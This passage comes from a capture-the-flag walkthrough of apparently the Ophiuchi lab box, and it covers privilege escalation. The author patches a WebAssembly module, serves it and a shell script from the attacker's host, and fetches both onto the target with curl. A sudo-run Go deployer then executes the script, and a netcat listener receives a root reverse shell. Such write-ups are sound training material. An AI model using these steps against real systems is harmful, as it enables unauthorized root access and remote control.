Luckily for us there is only one **const** value which is currently set to 0 so this is very probable that this is the **f** variable we need to change to 1:
|
|
|
|
|
|
[ 10.10.14.8/23 ] [ /dev/pts/12 ] [privesc/wabt-1.0.23/bin]
|
|
→ ./wasm2wat ../../main.wasm > main.wat
|
|
|
|
[ 10.10.14.8/23 ] [ /dev/pts/12 ] [privesc/wabt-1.0.23/bin]
|
|
→ vim main.wat
|
|
|
|
[ 10.10.14.8/23 ] [ /dev/pts/12 ] [privesc/wabt-1.0.23/bin]
|
|
→ cat main.wat
|
|
(module
|
|
(type (;0;) (func (result i32)))
|
|
(func $info (type 0) (result i32)
|
|
i32.const 1)
|
|
(table (;0;) 1 1 funcref)
|
|
(memory (;0;) 16)
|
|
(global (;0;) (mut i32) (i32.const 1048576))
|
|
(global (;1;) i32 (i32.const 1048576))
|
|
(global (;2;) i32 (i32.const 1048576))
|
|
(export "memory" (memory 0))
|
|
(export "info" (func $info))
|
|
(export "__data_end" (global 1))
|
|
(export "__heap_base" (global 2)))
|
|
|
|
[ 10.10.14.8/23 ] [ /dev/pts/12 ] [privesc/wabt-1.0.23/bin]
|
|
→ ./wat2wasm main.wat
|
|
|
|
[ 10.10.14.8/23 ] [ /dev/pts/12 ] [privesc/wabt-1.0.23/bin]
|
|
→ ls -lash | grep main
|
|
4.0K -rw-r--r-- 1 nothing nothing 112 Jul 5 21:46 main.wasm
|
|
4.0K -rw-r--r-- 1 nothing nothing 407 Jul 5 21:45 main.wat
|
|
|
|
|
|
|
|
Now that we have our modified .wasm file, we're going to use it on the box inside a temporary directory:
|
|
|
|
|
|
[terminal 1]
|
|
[ 10.10.14.8/23 ] [ /dev/pts/12 ] [privesc/wabt-1.0.23/bin]
|
|
→ mkdir files
|
|
|
|
[ 10.10.14.8/23 ] [ /dev/pts/12 ] [privesc/wabt-1.0.23/bin]
|
|
→ mv main.wasm files
|
|
|
|
[ 10.10.14.8/23 ] [ /dev/pts/12 ] [privesc/wabt-1.0.23/bin]
|
|
→ mv shell.sh files
|
|
|
|
[ 10.10.14.8/23 ] [ /dev/pts/12 ] [privesc/wabt-1.0.23/bin]
|
|
→ cd files
|
|
|
|
[ 10.10.14.8/23 ] [ /dev/pts/12 ] [wabt-1.0.23/bin/files]
|
|
→ ls -l
|
|
total 8
|
|
-rw-r--r-- 1 nothing nothing 112 Jul 5 21:46 main.wasm
|
|
-rw-r--r-- 1 nothing nothing 78 Jul 5 21:50 shell.sh
|
|
|
|
[ 10.10.14.8/23 ] [ /dev/pts/12 ] [wabt-1.0.23/bin/files]
|
|
→ python3 -m http.server 9090
|
|
Serving HTTP on 0.0.0.0 port 9090 (http://0.0.0.0:9090/) ...
|
|
|
|
[terminal 2]
|
|
admin@ophiuchi:/tmp/nihilist$ curl http://10.10.14.8:9090/shell.sh -o shell.sh
|
|
% Total % Received % Xferd Average Speed Time Time Time Current
|
|
Dload Upload Total Spent Left Speed
|
|
100 78 100 78 0 0 80 0 --:--:-- --:--:-- --:--:-- 80
|
|
admin@ophiuchi:/tmp/nihilist$ curl http://10.10.14.8:9090/main.wasm -o main.wasm
|
|
% Total % Received % Xferd Average Speed Time Time Time Current
|
|
Dload Upload Total Spent Left Speed
|
|
100 112 100 112 0 0 116 0 --:--:-- --:--:-- --:--:-- 116
|
|
|
|
|
|
|
|
Now that's done let's use our new main.wasm:
|
|
|
|
|
|
[terminal 2]
|
|
admin@ophiuchi:/tmp/nihilist$ chmod +x shell.sh
|
|
admin@ophiuchi:/tmp/nihilist$ mv shell.sh deploy.sh
|
|
admin@ophiuchi:/tmp/nihilist$ sudo /usr/bin/go run /opt/wasm-functions/index.go
|
|
Ready to deploy
|
|
|
|
[terminal 1]
|
|
[ 10.10.14.8/23 ] [ /dev/pts/17 ] [wabt-1.0.23/bin/files]
|
|
→ nc -lvnp 9001
|
|
listening on [any] 9001 ...
|
|
connect to [10.10.14.8] from (UNKNOWN) [10.10.10.227] 46094
|
|
# id
|
|
uid=0(root) gid=0(root) groups=0(root)
|
|
cacat /root/root.txt
|
|
e8XXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
|
|
|
|
|
|
|
|
And that's it! We managed to a reverse shell as root, and we got the root flag.
|
|
|
|
## **Conclusion**
|
|
|
|
Here we can see the progress graph :
|
|
|
|

|
|
|